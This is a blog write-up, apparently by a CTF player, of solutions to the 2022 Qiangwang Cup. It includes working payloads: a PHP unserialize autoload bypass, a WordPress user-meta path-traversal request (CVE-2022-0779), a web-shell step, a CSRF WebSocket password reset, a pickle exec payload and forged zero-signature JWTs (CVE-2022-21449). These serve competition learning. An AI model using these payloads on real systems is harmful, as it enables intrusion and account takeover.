iami233
iami233
文章128
标签35
分类4
第六届强网杯Writeup

第六届强网杯Writeup

写在前面

强网杯不亏称为强Pwn杯,17道Pwn题;往年什么情况不知道,今年好多复现CVE的题目,其他题是否有CVE暂时不知,目前遇到的只有这几个。

1
2
3
myJWT CVE-2022-21449
WP-UM CVE-2022-0779
easylogin CVE-2022-21661

强网先锋

rcefile

扫描到 www.zip ,通过测试发现

  1. 检查后缀和 content-type ,文件名是随机字符串
  2. 数据存储于 cookie 中,通过 反序列化函数 还原并显示

关键点在于 config.inc.php 文件中的 spl_autoload_register() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
spl_autoload_register();
error_reporting(0);

function e($str){
return htmlspecialchars($str);
}
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
?>
<p>
<a href="/index.php">Index</a>
<a href="/showfile.php">files</a>
</p>

spl_autoload_register()如果不指定处理用的函数,就会自动包含 类名.php类名.inc 的文件,并加载其中的 类名

通过源码看到黑名单中没有 .inc ,所以我们可以通过 .inc 文件来实现Getshell

1
$blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"];

我们可以看到上传后,响应包里出现了一段 userfilecookie

1
Set-Cookie: userfile=a:1:{i:0;s:36:"340d9b3c0f5d7eff1c077d2ecd8c1c19.inc";}

image-20220730185455774

然后我们序列化一个类名为 340d9b3c0f5d7eff1c077d2ecd8c1c19 的对象

1
2
3
4
5
6
7
<?php 
class 340d9b3c0f5d7eff1c077d2ecd8c1c19{
}

$flag = new 340d9b3c0f5d7eff1c077d2ecd8c1c19();
echo serialize($flag);
// O:32:"340d9b3c0f5d7eff1c077d2ecd8c1c19":0:{}

直接在 cookie 中添加我们新生成的 反序列化 字符串即可

image-20220730185617193

WP_UM

访问环境,出现一个引导安装页面,感觉有用的信息就是下面这段

猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。
并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n
这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。

这段信息说插件有问题,然后题目附件里发现就俩插件 akismetuser-meta

根据 user-meta 插件的版本 2.4.3 搜到了一个路径遍历漏洞 CVE-2022-0779,正好可以组合起来得到账号密码。

请求包里的 pf_noncee 需要改成当前 pf_noncee ,获取方法:在网站首页查看页面源代码,搜索 pf_nonce 即可

1
2
3
4
5
6
7
8
9
10
11
12
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: eci-2ze2ahooasrbklrp7npz.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 159

field_name=test&filepath=/../../../../../../../../username/1M&field_id=um_field_4&form_key=Upload&action=um_show_uploaded_file&pf_nonce=e74a0c7bd4&is_ajax=true

我们可以发现,如果路径存在那么会有一个 Remove 反之没有

image-20220731212031379

账号( 10 位)密码( 15 位),这些信息题目提都提到了,我们直接 burp 爆破 a-z , A-Z 即可,另外博客文章内泄露了用户名,同时爆破的时候发现第一位是 M 简单猜测了几位,所以说实际上只爆破了密码的第 6 位到第 15 位,还是挺快的。

1
2
用户名:MaoGePaMao
密码:MaoGeYaoQiFeiLa

登录后台,外观 -> 主题文件编辑器 处写shell (本意是直接写一句话,但是好像过滤了引号),直接写个一句话到其他文件吧)

image-20220731212638338

他说 flag 藏起来了,连上蚁剑翻了半天,最后发现在 /usr/local/This_1s_secert 找flag找了半天,不然一血就是我的(小声bb,只拿到了三血

image-20220731105857684

ASR

下载附件得到一个 python 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import getPrime
from secret import falg
pad = lambda s:s + bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))

n = getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2
e = 3

flag = pad(flag)
print(flag)
assert(len(flag) >= 48)
m = int.from_bytes(flag,'big')
c = pow(m,e,n)

print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

'''
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
'''

我们先用 factordbn 分解一下,得到

1
2
3
4
p1 = 218566259296037866647273372633238739089
p2 = 223213222467584072959434495118689164399
p3 = 225933944608558304529179430753170813347
p4 = 260594583349478633632570848336184053653

e|p1-1|p3-1,需要代替,进行一些尝试得出 n 也可以近似等于 p2**2*p4**2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import gmpy2
from Crypto.Util.number import long_to_bytes

n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149

p1 = 218566259296037866647273372633238739089
p2 = 223213222467584072959434495118689164399
p3 = 225933944608558304529179430753170813347
p4 = 260594583349478633632570848336184053653

assert(n==(p1*p2*p3*p4)**2)
data = gmpy2.invert(e, (p2-1)*p2*p4*(p4-1))
print(long_to_bytes(pow(c, data, p2**2*p4**2)))

# flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}

polydiv

这个也就是两套而已,第一层的md5好过,本想手动输入,却发现时间不够,考察pwn的使用起到交互的作用,第一层md5过去了,然后第二层在整数环中的多项式乘除法,可以使用 sagemath 中的相关函数进行 求解 运算,得到相应的数据进行 40 轮爆破求解即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
import string
from hashlib import *
import itertools
from sage.all import *
strs = string.ascii_letters + string.digits
PR = PolynomialRing(Zmod(2), name='x')
x = PR.gen()

def proof(end,sha):
num=4
slist=itertools.permutations(strs,int(num))
for i in slist:
i = ''.join(i)
if sha256((i + end.decode()).encode()).hexdigest()==sha.decode():
return i

def poly(s):
data = 0
if s[-1] == '1':
data = 1
if 'x' in s.replace('x^',''):
data += x
for i in range(2,15):
if str(i) in s:
data += x^i
return data

io = remote('39.107.137.85' ,41366)
context.log_level = 'debug'
io.recvuntil('sha256(XXXX+')
message=io.recvuntil('\n')[:-1]
end = message[:16]
SHA = message[-64:]
io.sendafter('Give me XXXX: ', proof(end,SHA))

for i in range(40):
io.recvuntil('r(x) = ')
rx = poly(io.recvuntil('\n')[:-1].decode())
io.recvuntil('a(x) = ')
ax = poly(io.recvuntil('\n')[:-1].decode())
io.recvuntil('c(x) = ')
cx = poly(io.recvuntil('\n')[:-1].decode())
bx = (rx-cx)//ax
print(rx,ax,bx)
io.sendafter('> b(x) = ',str(bx))
io.recvall()

Web

babyweb

随手注册一个账号登录后,根据提示发送 help ,返回如下信息

image-20220730185825254

一开始看到 bugreport 命令(发送 bugreport 网址 管理员会去请求你发送的网址),觉得应该是 XSS 钓管理员的 cookie,但是一直没成功,接收不到请求。

后来考虑到利用 bugreportchangepw 功能构造 csrf 修改管理员密码 ,根据页面中的 js ,简单构造 ws 的请求,上传到自己的服务器, 试了半天还是不行,最后考虑到不出网,题目描述里给了 docker 容器映射的端口,所以脚本里的 ws 地址改为 ws://127.0.0.1:8888

1
docker run -dit -p "0.0.0.0:pub_port:8888" babyweb

1
2
3
4
5
6
7
8
9
10
11
<meta charset="utf‐8" />
<script>
var ws = null;
var url = "ws://127.0.0.1:8888/bot";

ws = new WebSocket(url);
ws.onopen = function (event) {
var msg = "changepw 123456";
ws.send(msg);
}
</script>

在对话框里发送 bugreport poc地址 ,然后 admin的密码就会被重置为 123456,重新登录 admin 账户

购买 Hint 得到题目源码 /static/qwb_source_12580.zip

image-20220730200411370

查看源码发现限制的很死,必须在定义的范围内、必须是数字之类的,最后考虑到 pythongo 俩语言不同,json 解释器也不同,绕过了限制,参考文章 深入考察JSON在互操作性方面的安全漏洞

image-20220730200617452

返回页面得到flag

image-20220730200630203

crash

题目内容:flag in 504 page

访问首页得到题目源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)

def get_password(username):
if username=="admin":
return admin.secret
else:
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp

@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt',"r").read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

登陆 admin ,用户名和密码通过 GET 传参。经过序列化操作和 base64 编码后放到 cookie

1
2
3
4
5
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp

我们发现 admin 的密码是本地变量 secret ,但是不知道 secret 的值是多少

1
2
3
def get_password(username):
if username=="admin":
return admin.secret

我们可以通过 pickle 反序列化实现 变量覆盖 ,注意传入的序列化字符串中不能出现 Rsecret

1
2
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"

我们使用双层 exec 绕过,另外推荐一篇 pickle反序列化初探 文章,写的很详细

1
2
3
4
5
6
7
8
9
import base64

data = b'''(S'exec('admin.se'+'cret="admin"')'
i__builtin__
exec
.'''

print(base64.b64encode(data))
# KFMnZXhlYygnYWRtaW4uc2UnKydjcmV0PSJhZG1pbiInKScKaV9fYnVpbHRpbl9fCmV4ZWMKLg==

此时页面显示成功

1
http://39.107.237.149:25512/login?username=admin&password=admin

此时访问 /balancer 会提示 You're not admin!,我们修改一下 cookie再去请求/balancer

1
userdata=KFMnZXhlYygnYWRtaW4uc2UnKydjcmV0PSJhZG1pbiInKScKaV9fYnVpbHRpbl9fCmV4ZWMKLg==

请求后页面提示 500 ,重新请求一次即可返回正常页面。

image-20220731204257000

这里又提示 flag in 504 page ,所以说这个页面应该是最终得到能flag页面

然后还给了一个 /826fd2f86129b050875e4a70cb059908a7ed 我们直接构造请求一下

image-20220731204345607

访问后得到一个 nginx 配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# nginx.vh.default.conf  --  docker-openresty
#
# This file is installed to:
# `/etc/nginx/conf.d/default.conf`
#
# It tracks the `server` section of the upstream OpenResty's `nginx.conf`.
#
# This config (and any other configs in `etc/nginx/conf.d/`) is loaded by
# default by the `include` directive in `/usr/local/openresty/nginx/conf/nginx.conf`.
#
# See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-config-files
#
lua_package_path "/lua-resty-balancer/lib/?.lua;;";
lua_package_cpath "/lua-resty-balancer/?.so;;";

server {
listen 8088;
server_name localhost;

#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;

location /gettestresult {
default_type text/html;
content_by_lua '
local resty_roundrobin = require "resty.roundrobin"
local server_list = {
[ngx.var.arg_server1] = ngx.var.arg_weight1,
[ngx.var.arg_server2] = ngx.var.arg_weight2,
[ngx.var.arg_server3] = ngx.var.arg_weight3,
}
local rr_up = resty_roundrobin:new(server_list)
for i = 0,9 do
ngx.say("Server seleted for request ",i,": &nbsp;&nbsp;&nbsp;&nbsp;" ,rr_up:find(),"<br>")
end
';
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#


# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}

# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ \.php$ {
# root /usr/local/openresty/nginx/html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
# include fastcgi_params;
#}

# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}

文件总共都提到了仨地址,直接都填上,然后 权重 的话,根据多年建站经验来说,数值越低,优先级越高,我们直接都设置为 0 ,或者相同数,然后让这仨冲突去吧。

1
2
3
127.0.0.1
127.0.0.1:8088
127.0.0.1:900

静待十几秒,页面返回了 flag ,同时控制台里可以看到请求的接口 504 超时了

image-20220731205149323

Crypto

myJWT

nc 连接后输入用户名,然后输入 1 获得 generate token,返回一段 JWT,然后输入 2getflag 提示输入 your token 后返回 You are not the administrator.,我们直接解密 JWT 看看

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MzM4MTIxNzAwfQ==.5IQnppqB0_rC4OOaCowkLXVYW6eJ1kI6P-IR3dXll0gDYFjQKyOrHbVp10Hrm3GFh8eRBVZok9_z1rrKUQcJUBqQs-PeZElzqrZwE4rPVxJr2fngi2u97HdG4ItmvWiS

很明显看到一个权限校验字段 "admin": false,

image-20220801151528922

我们先 base64 解码后把 false 改为 true,重新编码为 base64

1
2
3
4
eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MzM4MTIxNzAwfQ==
{"iss":"qwb","name":"iami233","admin":false,"exp":1659338121700}
{"iss":"qwb","name":"iami233","admin":true,"exp":1659338121700}
eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjp0cnVlLCJleHAiOjE2NTkzMzgxMjE3MDB9

image-20220801151528922

CVE-2022-21449:传入sig值对(r, s)为(0, 0)时,可以绕过验证

最后一段数据我们用 0 填充,原数据是 128 位,我们也用128A 填充

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjp0cnVlLCJleHAiOjE2NTkzMzgxMjE3MDB9.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

注意 token 失效时间有点快,所以整体做的时候速度快一点,当然也可以用脚本实现自动化

image-20220801151506983

本文作者:iami233
本文链接:https://5ime.cn/qwb-2022.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可